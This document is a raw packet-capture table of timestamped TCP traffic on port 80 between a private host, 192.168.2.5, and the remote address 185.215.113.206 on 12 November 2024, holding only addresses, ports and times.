Nov 12, 2024 08:30:14.745152950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.745773077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.745784044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.745825052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.746433020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.746445894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.746475935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.746493101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.747123003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.747134924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.747143984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.747167110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.747184992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.747819901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.747832060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.747870922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.748476982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.748487949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.748526096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.787640095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.787709951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.787832975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.787844896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.787883997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.788450956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.788461924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.788552999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.802571058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.802627087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.802848101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.802858114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.802891016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.802902937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.803138971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.803149939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.803189039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.803575039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.803587914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.803617001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.803627968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.804184914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.804195881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.804234028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.804667950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.804680109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.804717064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.805310965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.805356979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.861824989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.861926079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.861968994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.861979961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.862013102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.862039089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.862451077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.862462044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.862497091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.862507105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.863082886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863132954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.863173008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863183975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863220930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.863878965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863889933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863898993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.863931894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.863931894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.864542961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.864554882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.864597082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.864623070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.865039110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.865050077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.865087032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.865690947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.865701914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.865735054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.865760088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.866394997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.866405964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.866444111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.866451979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.867098093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.867109060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.867151976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.867760897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.867773056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.867789984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.867820024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.867830038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.906508923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.906584024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.906680107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.906691074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.906728983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.906742096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.907219887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.907232046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.907269001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.907277107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.907685995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.907735109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.921464920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.921514988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.921597004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.921641111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.921690941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.921732903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.922039032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.922049999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.922086000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.922668934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.922714949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.922791958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.922832966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.923115015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.923127890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.923155069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.923167944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.923804045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.923816919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.923825979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.923851013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.923871040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.980801105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.980875015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.980988979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.981000900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.981040001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.981054068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.981369019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.981381893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.981422901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.982043028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.982054949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.982105017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.982707977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.982719898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.982728958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.982764959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.982830048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.983386040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.983397007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.983453035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.984039068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.984050035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.984086990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.984114885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.984823942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.984875917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.985037088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.985048056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.985085964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.985650063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.985661983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.985697985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.986329079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.986341000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.986399889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.987032890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.987045050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.987056971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:14.987096071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:14.987113953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.025486946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.025547981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.025594950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.025607109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.025645971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.026174068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.026185989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.026199102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.026386976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.027004957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.027014971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.027059078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.040616035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.040715933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.040756941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.040770054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.040802956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.041305065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.041387081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.041435957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.041486025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.041744947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.041755915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.041768074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.041791916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.041802883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.042587996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.042644024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.099687099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.099755049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.099766970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.099772930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.099814892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.100168943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.100179911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.100222111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.100495100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.100507021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.100553989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.101015091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101068020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.101174116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101186037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101196051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101223946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.101248980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.101855993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101867914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101878881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.101919889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.101953983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.102790117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.102802038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.102811098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.102845907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.102859974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.103547096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.103558064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.103568077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.103610992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.103650093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.104484081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.104496956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.104512930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.104537964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.104551077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.105421066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.105433941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.105443001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.105453014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:15.105474949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:15.105489969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.171204090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171288013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171302080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171317101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.171348095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.171348095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.171696901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171708107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171720028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.171751022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.171786070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.172724009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.172738075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.172748089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.172760010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.172782898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.172806978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.173605919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.173619032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.173629045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.173640013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.173650026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.173659086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.173672915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.173692942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.174521923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.174535990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.174545050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.174557924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.174573898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.174597025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.175458908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.175473928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.175483942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.175493956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.175506115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.175508022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.175538063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.175570965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.175570965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.176393032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.176404953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.176417112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.176444054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.176455975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.177359104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.177373886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.177386045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.177397966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.177408934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.177437067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.178287029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.178297997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.178307056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.178319931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.178337097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.178344965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.178373098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.179037094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179049969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179061890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179088116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.179105997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.179800987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179816008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179826975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179840088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.179851055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.179862022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.179888964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.180536985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.180550098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.180561066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.180586100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.180609941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.181296110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.181308031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.181318998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.181329966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.181349993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.181377888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.182066917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.182080030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.182102919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.182113886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.182117939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.182142019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.182152987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183130026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183142900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183154106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183166027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183176994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183176994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183176994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183198929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183221102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183558941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183572054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183582067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183593988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.183603048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183614016 CET	49704	80	192.168.2.5	185.215.113.206
